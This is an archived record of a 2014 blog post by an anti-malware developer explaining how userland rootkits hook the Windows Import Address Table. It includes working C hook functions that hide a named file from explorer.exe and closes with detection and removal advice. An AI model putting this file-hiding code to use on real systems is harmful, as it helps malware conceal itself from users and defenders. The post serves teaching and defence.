{
	"id": "0532f0a2-16a2-4bd7-816e-437f9e8180e9",
	"created_at": "2026-04-06T00:11:37.019428Z",
	"updated_at": "2026-04-10T13:12:52.887649Z",
	"deleted_at": null,
	"sha1_hash": "8ad81b514e4d5afa9483411a3bcc6ab49dacf380",
	"title": "Userland Rootkits, Part 1 | IAT hooks • Adlice Software",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 98106,
	"plain_text": "Userland Rootkits, Part 1 | IAT hooks • Adlice Software\r\nBy tigzy\r\nPublished: 2014-10-15 · Archived: 2026-04-05 18:29:50 UTC\r\nThis is the first part of this series about Userland rootkits, I wanted to write on it and demonstrate how some\r\nrootkits do to hide files by using IAT hooks.\r\nThis post is about a classic trick, known for decades. Malware specialists may know this already, so this is\r\nmostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that\r\nbeginners if you want 🙂\r\nImport Address Table (IAT)\r\nThe IAT table is a pointer table that holds the address in memory (within the DLL that hosts it) for every\r\nfunction needed by a program.\r\nExample: Let’s say you write a program able to enumerate files in a folder. You’ll probably need\r\nFindFirstFile/FindNextFile, so when you compile it, the compiler will look for address of those functions in\r\nkernel32.dll, and add the corresponding entries into your program’s import address table =\u003e kernel32.dll\r\n(FindFirstFile::0xAAAAAAAA, FindNextFile:0xBBBBBBBB).\r\nSo when your program will call the functions, it will look into the table and directly jump at the address given by\r\nthe table. If one is able to rewrite that address in the table (dynamically), it will be able to redirect the execution\r\nflow to a function (with same prototype) that will filters the results, and possibly modify them before returning\r\nto the caller.\r\nIAT patching can be used by malware or legit software to do many things, keylogging, protection, theft of\r\ncredit cards,… Many (in)famous malware are using it, like Zeus trojan, Stuxnet, …\r\n \r\nhttps://www.adlice.com/userland-rootkits-part-1-iat-hooks/\r\nPage 1 of 4\n\nPractical case: File hider\r\nWe’ll study how to detour IAT table of a proces to hide a file. Disclaimer: This is not a tutorial to make a\r\nrootkit, but a practical case for educational purpose only. Anyway, this is covered for decades on other\r\nwebsites…\r\nThis rootkit is made in 2 steps:\r\n1. Make a DLL responsible for IAT patching, and installing filters (the payload).\r\n2. Make an injector, that will create a new thread (in a target process) for the DLL entrypoint (not covered\r\nhere).\r\nInjection of the DLL into explorer.exe\r\n I’ll not show you the entire code, and especially how to inject the DLL and patch the table. I’ll just write the\r\nhooking filter function. We want to intercept directory enumeration, so we will hook the functions\r\nFindFirstFile/FindNextFile. As we want this to be spectacular (!) we will hook into explorer.exe, because this is\r\nthe process responsible for showing folders content to the user.\r\nHANDLE WINAPI MyFindFirstFileW(LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData )\r\n{\r\n HANDLE ret = FindFirstFileW(lpFileName,lpFindFileData);\r\n TCHAR msg[MAX_PATH];\r\n swprintf_s(msg, L\"FindFirstFileW : %s\\n\", lpFindFileData-\u0026gt;cFileName);\r\n OutputDebugString( msg );\r\n if(!_wcsicmp(lpFindFileData-\u0026gt;cFileName, L\"_root_\"))\r\n {\r\n swprintf_s(msg, L\"Protected file : %s, hiding...\\n\", lpFindFileData-\u0026gt;cFileName);\r\n OutputDebugString( msg );\r\n FindNextFileW(ret,lpFindFileData);\r\n }\r\n return ret;\r\n}\r\nhttps://www.adlice.com/userland-rootkits-part-1-iat-hooks/\r\nPage 2 of 4\n\nBOOL WINAPI MyFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATA lpFindFileData)\r\n{\r\n TCHAR msg[MAX_PATH];\r\n if(FindNextFileW(hFindFile,lpFindFileData))\r\n {\r\n if(!_wcsicmp(lpFindFileData-\u0026gt;cFileName, L\"_root_\"))\r\n {\r\n swprintf_s(msg, L\"Protected file : %s, hiding...\\n\", lpFindFileData-\u0026gt;cFileName);\r\n OutputDebugString( msg );\r\n if(FindNextFileW(hFindFile,lpFindFileData))\r\n return 1;\r\n return 0;\r\n }\r\n swprintf_s(msg, L\"FindNextFileW : %s\\n\", lpFindFileData-\u0026gt;cFileName);\r\n OutputDebugString( msg );\r\n return 1;\r\n }\r\n return 0;\r\n}\r\nThe code is self explaining. We filter calls to FindFirstFile/FindNextFile, and we compare the file names to a\r\nhard coded string. If there’s a match, we hide that entry by calling the API another time (we simply “jump”\r\nover the entry). As a result, the file will not be seen by the user.\r\n \r\nDebug output of the rootkit, showing hidden file\r\n \r\nA demo of the rootkit is available here:\r\nhttps://www.adlice.com/userland-rootkits-part-1-iat-hooks/\r\nPage 3 of 4\n\nDetection/Removal\r\nTo detect IAT hooks, simply parse the PE structure of all modules of the targeted process. Then look at the\r\nimport tables, and check if their addresses are inside the owning module.\r\nTo remove a IAT hook, you can look at the EAT (Export Address Table) of the original module, and restore the\r\nIAT address with the entry of the EAT.\r\nUseful links\r\n– An In-Depth Look into the Win32 Portable Executable File.\r\nAuthor: tigzy\r\nFounder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called\r\nRogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse\r\nengineering as well as writing blog posts.\r\nSource: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/\r\nhttps://www.adlice.com/userland-rootkits-part-1-iat-hooks/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
	],
	"report_names": [
		"userland-rootkits-part-1-iat-hooks"
	],
	"threat_actors": [],
	"ts_created_at": 1775434297,
	"ts_updated_at": 1775826772,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8ad81b514e4d5afa9483411a3bcc6ab49dacf380.pdf",
		"text": "https://archive.orkl.eu/8ad81b514e4d5afa9483411a3bcc6ab49dacf380.txt",
		"img": "https://archive.orkl.eu/8ad81b514e4d5afa9483411a3bcc6ab49dacf380.jpg"
	}
}